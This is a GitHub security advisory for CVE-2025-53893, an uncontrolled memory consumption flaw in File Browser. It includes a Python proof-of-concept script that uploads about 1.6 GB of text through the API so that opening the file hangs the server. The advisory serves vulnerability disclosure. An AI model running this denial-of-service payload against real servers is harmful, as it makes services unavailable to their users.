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File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing

High severity GitHub Reviewed Published Jul 15, 2025 in filebrowser/filebrowser • Updated Jul 16, 2025

Package

gomod github.com/filebrowser/filebrowser (Go)

Affected versions

>= 2.0.0-rc.1
>= 1.0.0, <= 1.11.0

Patched versions

None

Description

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:

  • Lack of memory-safe streaming or chunked reading during file processing.
  • Absence of validation or size limits during the read phase.
  • Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

Pasted image (4)

Pasted image (2)

### References - https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7xqm-7738-642x - https://nvd.nist.gov/vuln/detail/CVE-2025-53893 - https://github.com/filebrowser/filebrowser/issues/5294
@hacdias hacdias published to filebrowser/filebrowser Jul 15, 2025
Published by the National Vulnerability Database Jul 15, 2025
Published to the GitHub Advisory Database Jul 16, 2025
Reviewed Jul 16, 2025
Last updated Jul 16, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources. Learn more on MITRE.

Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. Learn more on MITRE.

CVE ID

CVE-2025-53893

GHSA ID

GHSA-7xqm-7738-642x

Credits

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